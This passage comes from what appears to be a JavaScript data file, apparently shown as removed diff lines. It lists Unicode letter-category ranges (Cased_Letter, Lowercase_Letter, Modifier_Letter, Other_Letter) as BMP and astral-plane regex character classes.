B3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16F1-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4C\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC', - 'astral': '\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF2D-\uDF40\uDF42-\uDF49\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF]|\uD801[\uDC00-\uDC9D\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD00-\uDD27\uDD30-\uDD63\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE35\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2\uDD00-\uDD23\uDE80-\uDEA9\uDEB0\uDEB1\uDF00-\uDF1C\uDF27\uDF30-\uDF45\uDF70-\uDF81\uDFB0-\uDFC4\uDFE0-\uDFF6]|\uD804[\uDC03-\uDC37\uDC71\uDC72\uDC75\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD44\uDD47\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC00-\uDC34\uDC47-\uDC4A\uDC5F-\uDC61\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDEB8\uDF00-\uDF1A\uDF40-\uDF46]|\uD806[\uDC00-\uDC2B\uDCA0-\uDCDF\uDCFF-\uDD06\uDD09\uDD0C-\uDD13\uDD15\uDD16\uDD18-\uDD2F\uDD3F\uDD41\uDDA0-\uDDA7\uDDAA-\uDDD0\uDDE1\uDDE3\uDE00\uDE0B-\uDE32\uDE3A\uDE50\uDE5C-\uDE89\uDE9D\uDEB0-\uDEF8]|\uD807[\uDC00-\uDC08\uDC0A-\uDC2E\uDC40\uDC72-\uDC8F\uDD00-\uDD06\uDD08\uDD09\uDD0B-\uDD30\uDD46\uDD60-\uDD65\uDD67\uDD68\uDD6A-\uDD89\uDD98\uDEE0-\uDEF2\uDFB0]|\uD808[\uDC00-\uDF99]|\uD809[\uDC80-\uDD43]|\uD80B[\uDF90-\uDFF0]|[\uD80C\uD81C-\uD820\uD822\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872\uD874-\uD879\uD880-\uD883][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE70-\uDEBE\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDE40-\uDE7F\uDF00-\uDF4A\uDF50\uDF93-\uDF9F\uDFE0\uDFE1\uDFE3]|\uD821[\uDC00-\uDFF7]|\uD823[\uDC00-\uDCD5\uDD00-\uDD08]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD82C[\uDC00-\uDD22\uDD50-\uDD52\uDD64-\uDD67\uDD70-\uDEFB]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD837[\uDF00-\uDF1E]|\uD838[\uDD00-\uDD2C\uDD37-\uDD3D\uDD4E\uDE90-\uDEAD\uDEC0-\uDEEB]|\uD839[\uDFE0-\uDFE6\uDFE8-\uDFEB\uDFED\uDFEE\uDFF0-\uDFFE]|\uD83A[\uDC00-\uDCC4\uDD00-\uDD43\uDD4B]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF38\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1\uDEB0-\uDFFF]|\uD87A[\uDC00-\uDFE0]|\uD87E[\uDC00-\uDE1D]|\uD884[\uDC00-\uDF4A]' - }, - { - 'name': 'LC', - 'alias': 'Cased_Letter', - 'bmp': 'A-Za-z\xB5\xC0-\xD6\xD8-\xF6\xF8-\u01BA\u01BC-\u01BF\u01C4-\u0293\u0295-\u02AF\u0370-\u0373\u0376\u0377\u037B-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0560-\u0588\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FD-\u10FF\u13A0-\u13F5\u13F8-\u13FD\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1D00-\u1D2B\u1D6B-\u1D77\u1D79-\u1D9A\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2134\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2C7B\u2C7E-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\uA640-\uA66D\uA680-\uA69B\uA722-\uA76F\uA771-\uA787\uA78B-\uA78E\uA790-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F5\uA7F6\uA7FA\uAB30-\uAB5A\uAB60-\uAB68\uAB70-\uABBF\uFB00-\uFB06\uFB13-\uFB17\uFF21-\uFF3A\uFF41-\uFF5A', - 'astral': '\uD801[\uDC00-\uDC4F\uDCB0-\uDCD3\uDCD8-\uDCFB\uDD70-\uDD7A\uDD7C-\uDD8A\uDD8C-\uDD92\uDD94\uDD95\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC]|\uD803[\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD806[\uDCA0-\uDCDF]|\uD81B[\uDE40-\uDE7F]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD837[\uDF00-\uDF09\uDF0B-\uDF1E]|\uD83A[\uDD00-\uDD43]' - }, - { - 'name': 'Ll', - 'alias': 'Lowercase_Letter', - 'bmp': 'a-z\xB5\xDF-\xF6\xF8-\xFF\u0101\u0103\u0105\u0107\u0109\u010B\u010D\u010F\u0111\u0113\u0115\u0117\u0119\u011B\u011D\u011F\u0121\u0123\u0125\u0127\u0129\u012B\u012D\u012F\u0131\u0133\u0135\u0137\u0138\u013A\u013C\u013E\u0140\u0142\u0144\u0146\u0148\u0149\u014B\u014D\u014F\u0151\u0153\u0155\u0157\u0159\u015B\u015D\u015F\u0161\u0163\u0165\u0167\u0169\u016B\u016D\u016F\u0171\u0173\u0175\u0177\u017A\u017C\u017E-\u0180\u0183\u0185\u0188\u018C\u018D\u0192\u0195\u0199-\u019B\u019E\u01A1\u01A3\u01A5\u01A8\u01AA\u01AB\u01AD\u01B0\u01B4\u01B6\u01B9\u01BA\u01BD-\u01BF\u01C6\u01C9\u01CC\u01CE\u01D0\u01D2\u01D4\u01D6\u01D8\u01DA\u01DC\u01DD\u01DF\u01E1\u01E3\u01E5\u01E7\u01E9\u01EB\u01ED\u01EF\u01F0\u01F3\u01F5\u01F9\u01FB\u01FD\u01FF\u0201\u0203\u0205\u0207\u0209\u020B\u020D\u020F\u0211\u0213\u0215\u0217\u0219\u021B\u021D\u021F\u0221\u0223\u0225\u0227\u0229\u022B\u022D\u022F\u0231\u0233-\u0239\u023C\u023F\u0240\u0242\u0247\u0249\u024B\u024D\u024F-\u0293\u0295-\u02AF\u0371\u0373\u0377\u037B-\u037D\u0390\u03AC-\u03CE\u03D0\u03D1\u03D5-\u03D7\u03D9\u03DB\u03DD\u03DF\u03E1\u03E3\u03E5\u03E7\u03E9\u03EB\u03ED\u03EF-\u03F3\u03F5\u03F8\u03FB\u03FC\u0430-\u045F\u0461\u0463\u0465\u0467\u0469\u046B\u046D\u046F\u0471\u0473\u0475\u0477\u0479\u047B\u047D\u047F\u0481\u048B\u048D\u048F\u0491\u0493\u0495\u0497\u0499\u049B\u049D\u049F\u04A1\u04A3\u04A5\u04A7\u04A9\u04AB\u04AD\u04AF\u04B1\u04B3\u04B5\u04B7\u04B9\u04BB\u04BD\u04BF\u04C2\u04C4\u04C6\u04C8\u04CA\u04CC\u04CE\u04CF\u04D1\u04D3\u04D5\u04D7\u04D9\u04DB\u04DD\u04DF\u04E1\u04E3\u04E5\u04E7\u04E9\u04EB\u04ED\u04EF\u04F1\u04F3\u04F5\u04F7\u04F9\u04FB\u04FD\u04FF\u0501\u0503\u0505\u0507\u0509\u050B\u050D\u050F\u0511\u0513\u0515\u0517\u0519\u051B\u051D\u051F\u0521\u0523\u0525\u0527\u0529\u052B\u052D\u052F\u0560-\u0588\u10D0-\u10FA\u10FD-\u10FF\u13F8-\u13FD\u1C80-\u1C88\u1D00-\u1D2B\u1D6B-\u1D77\u1D79-\u1D9A\u1E01\u1E03\u1E05\u1E07\u1E09\u1E0B\u1E0D\u1E0F\u1E11\u1E13\u1E15\u1E17\u1E19\u1E1B\u1E1D\u1E1F\u1E21\u1E23\u1E25\u1E27\u1E29\u1E2B\u1E2D\u1E2F\u1E31\u1E33\u1E35\u1E37\u1E39\u1E3B\u1E3D\u1E3F\u1E41\u1E43\u1E45\u1E47\u1E49\u1E4B\u1E4D\u1E4F\u1E51\u1E53\u1E55\u1E57\u1E59\u1E5B\u1E5D\u1E5F\u1E61\u1E63\u1E65\u1E67\u1E69\u1E6B\u1E6D\u1E6F\u1E71\u1E73\u1E75\u1E77\u1E79\u1E7B\u1E7D\u1E7F\u1E81\u1E83\u1E85\u1E87\u1E89\u1E8B\u1E8D\u1E8F\u1E91\u1E93\u1E95-\u1E9D\u1E9F\u1EA1\u1EA3\u1EA5\u1EA7\u1EA9\u1EAB\u1EAD\u1EAF\u1EB1\u1EB3\u1EB5\u1EB7\u1EB9\u1EBB\u1EBD\u1EBF\u1EC1\u1EC3\u1EC5\u1EC7\u1EC9\u1ECB\u1ECD\u1ECF\u1ED1\u1ED3\u1ED5\u1ED7\u1ED9\u1EDB\u1EDD\u1EDF\u1EE1\u1EE3\u1EE5\u1EE7\u1EE9\u1EEB\u1EED\u1EEF\u1EF1\u1EF3\u1EF5\u1EF7\u1EF9\u1EFB\u1EFD\u1EFF-\u1F07\u1F10-\u1F15\u1F20-\u1F27\u1F30-\u1F37\u1F40-\u1F45\u1F50-\u1F57\u1F60-\u1F67\u1F70-\u1F7D\u1F80-\u1F87\u1F90-\u1F97\u1FA0-\u1FA7\u1FB0-\u1FB4\u1FB6\u1FB7\u1FBE\u1FC2-\u1FC4\u1FC6\u1FC7\u1FD0-\u1FD3\u1FD6\u1FD7\u1FE0-\u1FE7\u1FF2-\u1FF4\u1FF6\u1FF7\u210A\u210E\u210F\u2113\u212F\u2134\u2139\u213C\u213D\u2146-\u2149\u214E\u2184\u2C30-\u2C5F\u2C61\u2C65\u2C66\u2C68\u2C6A\u2C6C\u2C71\u2C73\u2C74\u2C76-\u2C7B\u2C81\u2C83\u2C85\u2C87\u2C89\u2C8B\u2C8D\u2C8F\u2C91\u2C93\u2C95\u2C97\u2C99\u2C9B\u2C9D\u2C9F\u2CA1\u2CA3\u2CA5\u2CA7\u2CA9\u2CAB\u2CAD\u2CAF\u2CB1\u2CB3\u2CB5\u2CB7\u2CB9\u2CBB\u2CBD\u2CBF\u2CC1\u2CC3\u2CC5\u2CC7\u2CC9\u2CCB\u2CCD\u2CCF\u2CD1\u2CD3\u2CD5\u2CD7\u2CD9\u2CDB\u2CDD\u2CDF\u2CE1\u2CE3\u2CE4\u2CEC\u2CEE\u2CF3\u2D00-\u2D25\u2D27\u2D2D\uA641\uA643\uA645\uA647\uA649\uA64B\uA64D\uA64F\uA651\uA653\uA655\uA657\uA659\uA65B\uA65D\uA65F\uA661\uA663\uA665\uA667\uA669\uA66B\uA66D\uA681\uA683\uA685\uA687\uA689\uA68B\uA68D\uA68F\uA691\uA693\uA695\uA697\uA699\uA69B\uA723\uA725\uA727\uA729\uA72B\uA72D\uA72F-\uA731\uA733\uA735\uA737\uA739\uA73B\uA73D\uA73F\uA741\uA743\uA745\uA747\uA749\uA74B\uA74D\uA74F\uA751\uA753\uA755\uA757\uA759\uA75B\uA75D\uA75F\uA761\uA763\uA765\uA767\uA769\uA76B\uA76D\uA76F\uA771-\uA778\uA77A\uA77C\uA77F\uA781\uA783\uA785\uA787\uA78C\uA78E\uA791\uA793-\uA795\uA797\uA799\uA79B\uA79D\uA79F\uA7A1\uA7A3\uA7A5\uA7A7\uA7A9\uA7AF\uA7B5\uA7B7\uA7B9\uA7BB\uA7BD\uA7BF\uA7C1\uA7C3\uA7C8\uA7CA\uA7D1\uA7D3\uA7D5\uA7D7\uA7D9\uA7F6\uA7FA\uAB30-\uAB5A\uAB60-\uAB68\uAB70-\uABBF\uFB00-\uFB06\uFB13-\uFB17\uFF41-\uFF5A', - 'astral': '\uD801[\uDC28-\uDC4F\uDCD8-\uDCFB\uDD97-\uDDA1\uDDA3-\uDDB1\uDDB3-\uDDB9\uDDBB\uDDBC]|\uD803[\uDCC0-\uDCF2]|\uD806[\uDCC0-\uDCDF]|\uD81B[\uDE60-\uDE7F]|\uD835[\uDC1A-\uDC33\uDC4E-\uDC54\uDC56-\uDC67\uDC82-\uDC9B\uDCB6-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDCCF\uDCEA-\uDD03\uDD1E-\uDD37\uDD52-\uDD6B\uDD86-\uDD9F\uDDBA-\uDDD3\uDDEE-\uDE07\uDE22-\uDE3B\uDE56-\uDE6F\uDE8A-\uDEA5\uDEC2-\uDEDA\uDEDC-\uDEE1\uDEFC-\uDF14\uDF16-\uDF1B\uDF36-\uDF4E\uDF50-\uDF55\uDF70-\uDF88\uDF8A-\uDF8F\uDFAA-\uDFC2\uDFC4-\uDFC9\uDFCB]|\uD837[\uDF00-\uDF09\uDF0B-\uDF1E]|\uD83A[\uDD22-\uDD43]' - }, - { - 'name': 'Lm', - 'alias': 'Modifier_Letter', - 'bmp': '\u02B0-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0374\u037A\u0559\u0640\u06E5\u06E6\u07F4\u07F5\u07FA\u081A\u0824\u0828\u08C9\u0971\u0E46\u0EC6\u10FC\u17D7\u1843\u1AA7\u1C78-\u1C7D\u1D2C-\u1D6A\u1D78\u1D9B-\u1DBF\u2071\u207F\u2090-\u209C\u2C7C\u2C7D\u2D6F\u2E2F\u3005\u3031-\u3035\u303B\u309D\u309E\u30FC-\u30FE\uA015\uA4F8-\uA4FD\uA60C\uA67F\uA69C\uA69D\uA717-\uA71F\uA770\uA788\uA7F2-\uA7F4\uA7F8\uA7F9\uA9CF\uA9E6\uAA70\uAADD\uAAF3\uAAF4\uAB5C-\uAB5F\uAB69\uFF70\uFF9E\uFF9F', - 'astral': '\uD801[\uDF80-\uDF85\uDF87-\uDFB0\uDFB2-\uDFBA]|\uD81A[\uDF40-\uDF43]|\uD81B[\uDF93-\uDF9F\uDFE0\uDFE1\uDFE3]|\uD82B[\uDFF0-\uDFF3\uDFF5-\uDFFB\uDFFD\uDFFE]|\uD838[\uDD37-\uDD3D]|\uD83A\uDD4B' - }, - { - 'name': 'Lo', - 'alias': 'Other_Letter', - 'bmp': '\xAA\xBA\u01BB\u01C0-\u01C3\u0294\u05D0-\u05EA\u05EF-\u05F2\u0620-\u063F\u0641-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u0800-\u0815\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C8\u0904-\u0939\u093D\u0950\u0958-\u0961\u0972-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E45\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u1100-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16F1-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17DC\u1820-\u1842\u1844-\u1878\u1880-\u1884\u1887-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1B05-\u1B33\u1B45-\u1B4C\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C77\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u2135-\u2138\u2D30-\u2D67\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3006\u303C\u3041-\u3096\u309F\u30A1-\u30FA\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA014\uA016-\uA48C\uA4D0-\uA4F7\uA500-\uA60B\uA610-\uA61F\uA62A\uA62B\uA66E\uA6A0-\uA6E5\uA78F\uA7F7\uA7FB-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9E0-\uA9E4\uA9E7-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA6F\uAA71-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB\uAADC\uAAE0-\uAAEA\uAAF2\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF66-\uFF6F\uFF71-\uFF9D\uFFA0-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC', - 'astral': 